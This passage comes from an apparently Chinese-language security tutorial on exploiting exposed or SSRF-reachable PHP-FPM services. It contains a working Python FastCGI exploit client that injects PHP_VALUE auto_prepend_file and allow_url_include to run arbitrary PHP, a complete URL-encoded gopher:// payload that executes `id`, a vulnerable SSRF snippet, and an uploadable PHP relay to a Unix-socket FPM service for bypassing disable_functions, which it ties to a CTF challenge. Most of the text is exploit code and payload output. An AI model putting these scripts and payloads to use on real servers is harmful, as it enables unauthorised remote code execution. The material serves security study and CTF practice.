self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId) request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'' , requestId) if post: request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId) request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'' , requestId) return request def __waitForResponse (self, requestId) : data = b'' while True : buf = self.sock.recv(512 ) if not len(buf): break data += buf data = BytesIO(data) while True : response = self.__decodeFastCGIRecord(data) if not response: break if response['type' ] == FastCGIClient.__FCGI_TYPE_STDOUT \ or response['type' ] == FastCGIClient.__FCGI_TYPE_STDERR: if response['type' ] == FastCGIClient.__FCGI_TYPE_STDERR: self.requests['state' ] = FastCGIClient.FCGI_STATE_ERROR if requestId == int(response['requestId' ]): self.requests[requestId]['response' ] += response['content' ] if response['type' ] == FastCGIClient.FCGI_STATE_SUCCESS: self.requests[requestId] return self.requests[requestId]['response' ] def __repr__ (self) : return "fastcgi connect host:{} port:{}" .format(self.host, self.port) if __name__ == '__main__' : parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.' ) parser.add_argument('host' , help='Target host, such as 127.0.0.1' ) parser.add_argument('file' , help='A php file absolute path, such as /usr/local/lib/php/System.php' ) parser.add_argument('-c' , '--code' , help='What php code your want to execute' , default='<?php phpinfo(); exit; ?>' ) parser.add_argument('-p' , '--port' , help='FastCGI port' , default=9000 , type=int) args = parser.parse_args() client = FastCGIClient(args.host, args.port, 3 , 0 ) params = dict() documentRoot = "/" uri = args.file content = args.code params = { 'GATEWAY_INTERFACE' : 'FastCGI/1.0' , 'REQUEST_METHOD' : 'POST' , 'SCRIPT_FILENAME' : documentRoot + uri.lstrip('/' ), 'SCRIPT_NAME' : uri, 'QUERY_STRING' : '' , 'REQUEST_URI' : uri, 'DOCUMENT_ROOT' : documentRoot, 'SERVER_SOFTWARE' : 'php/fcgiclient' , 'REMOTE_ADDR' : '127.0.0.1' , 'REMOTE_PORT' : '9985' , 'SERVER_ADDR' : '127.0.0.1' , 'SERVER_PORT' : '80' , 'SERVER_NAME' : "localhost" , 'SERVER_PROTOCOL' : 'HTTP/1.1' , 'CONTENT_TYPE' : 'application/text' , 'CONTENT_LENGTH' : "%d" % len(content), 'PHP_VALUE' : 'auto_prepend_file = php://input' , 'PHP_ADMIN_VALUE' : 'allow_url_include = On' } response = client.request(params, content) response = urllib.quote(response) print("gopher://127.0.0.1:" + str(args.port) + "/_" + response)
攻击利用 前提条件是目标站点存在SSRF漏洞,代码如下:
1 2 3 4 5 6 7 8 9 10 11 <?php function curl ($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, 0 ); curl_exec($ch); curl_close($ch); } $url = $_GET['url' ]; curl($url); ?>
而且目标站点的PHP-FPM服务只在本地监听,外网访问不了,这里我们外网用nmap扫发现被过滤了:
此时,直接用前面改过的脚本,运行如下命令,FPM地址写本地就好:
1 python fpm_ssrf.py -c '<?php echo `id`;exit;?>' -p 9000 127.0.0.1 /usr/local/lib/php/PEAR.php
得到如下Gopher协议包数据:
1 gopher://127.0.0.1:9000/_%01%01z1%00%08%00%00%00%01%00%00%00%00%00%00%01%04z1%01%E7%00%00%0E%02CONTENT_LENGTH23%0C%10CONTENT_TYPEapplication/text%0B%04REMOTE_PORT9985%0B%09SERVER_NAMElocalhost%11%0BGATEWAY_INTERFACEFastCGI/1.0%0F%0ESERVER_SOFTWAREphp/fcgiclient%0B%09REMOTE_ADDR127.0.0.1%0F%1BSCRIPT_FILENAME/usr/local/lib/php/PEAR.php%0B%1BSCRIPT_NAME/usr/local/lib/php/PEAR.php%09%1FPHP_VALUEauto_prepend_file%20%3D%20php%3A//input%0E%04REQUEST_METHODPOST%0B%02SERVER_PORT80%0F%08SERVER_PROTOCOLHTTP/1.1%0C%00QUERY_STRING%0F%16PHP_ADMIN_VALUEallow_url_include%20%3D%20On%0D%01DOCUMENT_ROOT/%0B%09SERVER_ADDR127.0.0.1%0B%1BREQUEST_URI/usr/local/lib/php/PEAR.php%01%04z1%00%00%00%00%01%05z1%00%17%00%00%3C%3Fphp%20echo%20%60id%60%3Bexit%3B%3F%3E%01%05z1%00%00%00%00
在打SSRF之前,需要再进行一次URL编码,这是因为在服务端中Nginx和FPM分别会进行一次URL解码:
编码后直接SSRF打过去就好了:
0x06 攻击Unix套接字模式下的PHP-FPM 前面说的Unix Socket模式就讲到,这种模式在同一环境下是通过如/run/php/php7.3-fpm.sock
的sock文件来进行通信的。
具体的攻击场景可参考*CTF echohub这道题,题目做到后面是涉及到如何绕过disable_functions,而从题目中获取的信息可知服务器是还存在一个FPM服务且是以Unix套接字模式进行通信的。
如何攻击利用呢?
这里参考了ROIS的wp,由于stream_socket_client()函数未被禁用,因此我们可以利用它来和本地Unix套接字模式的FPM服务进行通信,下面的脚本是建立一个Unix Socket客户端连接,然后写入TCP流进行通信,内容是我们恶意构造的FastCGI协议报文:
1 2 3 4 5 6 7 <?php $sock=stream_socket_client('unix:///run/php/php7.3-fpm.sock' ); fputs($sock, base64_decode($_POST['A' ])); var_dump(fread($sock, 4096 )); ?>
将该PHP文件上传到目标服务端,等待我们发送的Unix Socket连接来传输TCP流数据、。
接着,在前面SSRF脚本的基础上,改掉最后的几行代码,将URL编码和拼接Gopher协议部分注释掉,取而代之的是对FastCGI协议报文进行base64编码并输出出来:
1 2 3 4 5 response = client.request(params, content) response = base64.b64encode(response) print(response)
运行后得到base64编码内容:
最后,只需将编码后的内容发到前面上传的PHP文件中和FPM服务进行Unix Socket通信,从而绕过disable_functions、达到任意命令执行的目的。
由于已无题目环境,这里就无截图了。
0x07 助攻disable_functions绕过 具体的可参考《从蚁剑插件看利用PHP-FPM绕过disable_functions》 。
0x08 参考 【运维安全】Fastcgi配置不当对外开放利用
浅析php-fpm的攻击方式
PHP 连接方式介绍以及如何攻击 PHP-FPM
Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写